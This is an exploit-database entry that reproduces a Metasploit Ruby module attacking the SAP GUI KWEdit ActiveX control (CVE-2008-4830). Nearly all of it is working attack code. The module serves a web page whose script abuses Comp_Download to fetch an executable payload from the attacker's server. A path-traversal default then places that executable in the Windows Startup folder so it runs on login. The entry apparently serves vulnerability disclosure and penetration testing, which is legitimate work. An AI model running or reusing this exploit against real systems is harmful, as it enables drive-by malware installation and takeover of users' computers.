EnjoySAP SAP GUI ActiveX Control Arbitrary File Download

🗓️ 01 Jul 2014 00:00:00Reported by RootType

This module allows remote attackers to place arbitrary files on a users file system by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41)


                                                ##
# $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    =&#62; OperatingSystems::WINDOWS,
		:javascript =&#62; true,
		:rank       =&#62; NormalRanking,
		:vuln_test  =&#62; nil,
	})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;EnjoySAP SAP GUI ActiveX Control Arbitrary File Download&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module allows remote attackers to place arbitrary files on a users file system
				by abusing the &#34;Comp_Download&#34; method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 11189 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2008-4830&#39;],
					[ &#39;OSVDB&#39;, &#39;53680&#39;],
					[ &#39;URL&#39;, &#39;http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;           =&#62; 2048,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Automatic&#39;, { } ],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;??? ?? ????&#39;))

		register_options(
			[
				OptString.new(&#39;PATH&#39;, [ true, &#39;The path to place the executable.&#39;, &#39;/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/&#39;]),
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  &#34;http://&#34;
		payload_url += (datastore[&#39;SRVHOST&#39;] == &#39;0.0.0.0&#39;) ? Rex::Socket.source_address(cli.peerhost) : datastore[&#39;SRVHOST&#39;]
		payload_url += &#34;:&#34; + datastore[&#39;SRVPORT&#39;] + get_resource() + &#34;/payload&#34;

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code =&#62; p.encoded })
			print_status(&#34;Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...&#34;)
			send_response(cli, data, { &#39;Content-Type&#39; =&#62; &#39;application/octet-stream&#39; })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(20) + 1)

		content = %Q|
&#60;html&#62;
&#60;head&#62;
	&#60;script&#62;
		try {
		var #{vname} = new ActiveXObject(&#39;Kweditcontrol.KWedit.1&#39;);
		#{vname}.Comp_Download(&#34;#{payload_url}&#34;,&#34;#{datastore[&#39;PATH&#39;]}/#{exe}.exe&#34;);
		} catch( e ) { window.location = &#39;about:blank&#39; ; }
	&#60;/script&#62;
&#60;/head&#62;
&#60;/html&#62;
				|

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		send_response_html(cli, content)

		handler(cli)

	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1